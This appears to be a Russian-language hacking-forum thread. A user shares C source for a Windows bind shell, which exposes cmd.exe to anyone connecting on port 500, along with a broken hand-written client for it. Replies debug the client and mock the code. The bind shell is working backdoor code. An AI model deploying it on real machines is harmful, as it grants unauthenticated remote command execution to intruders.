Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается. Вот шелл на основе которого пытаюсь разобратся Code: #include <windows.h> #include <winsock2.h> #include <stdio.h> int main() { struct sockaddr sockadr2; struct sockaddr_in sockadr; struct hostent *host = NULL; long handle; PROCESS_INFORMATION cmdproc; STARTUPINFO cmdrun; WSADATA wsaData; SOCKET sock; WSAStartup(MAKEWORD(1,1), &wsaData); sock = socket(AF_INET, SOCK_STREAM,0); sockadr.sin_family = AF_INET; sockadr.sin_port = htons(500); sockadr.sin_addr.s_addr = htonl(INADDR_ANY); bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr)); listen(sock, 0); while(true){ handle = accept(sock, &sockadr2, 0); if(handle != INVALID_SOCKET){ ZeroMemory(&cmdrun, sizeof(cmdrun)); cmdrun.cb = sizeof(cmdrun); cmdrun.hStdInput = (void *)handle; cmdrun.hStdError = (void *)handle; cmdrun.hStdOutput = (void *)handle; cmdrun.dwFlags = STARTF_USESTDHANDLES; CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc); WaitForSingleObject(cmdproc.hProcess, INFINITE); CloseHandle(cmdproc.hProcess); CloseHandle(cmdproc.hThread); shutdown(handle, 1); CloseHandle(&handle); } } } А вот это я пытался сделать клиент: Code: int main() { char *buf=new char[1024*1024]; SOCKET s;SOCKADDR_IN adr;WSADATA wsd; WSAStartup(MAKEWORD(2,0),&wsd); adr.sin_family=AF_INET; adr.sin_port=htons(500); adr.sin_addr.s_addr=inet_addr("127.0.0.1"); s=socket(AF_INET,SOCK_STREAM,0); getch(); connect(s,(sockaddr*)&adr,sizeof(adr)); Sleep(1000); for(;;) { recv(s,buf,1024*1024,0); if(strlen(buf)>0) { cout<<buf; memset(buf,NULL,strlen(buf)); cin>>buf; send(s,buf,strlen(buf),0); } if(strcmp(buf,"exit")==0){break;} memset(buf,NULL,strlen(buf)); } delete []buf; }
CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc); это че за убожество
C нормальным биндшеллом клиентом выступает telnet. Зачем клиент? И правильно ли я понимаю, что WaitForSingleObject(cmdproc.hProcess, INFINITE); будет ждать завершения процесса? Следовательно, если клиент будет завершен некорректно (не через exit), то биндшелл повиснет и не будет больше принимать соединения?
Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?
Ещё раз для особо одареных :шелы обсуждайте в другой теме.Здесь обсуждается почему в качестве клиента телнет работает нормально ,и что надо самописному коду чтоб он тоже работал с ним нормально.
Самописный код писал такой же безрукий как и сам биндшелл. На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию. Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.). Советую автору кода не программировать больше никогда.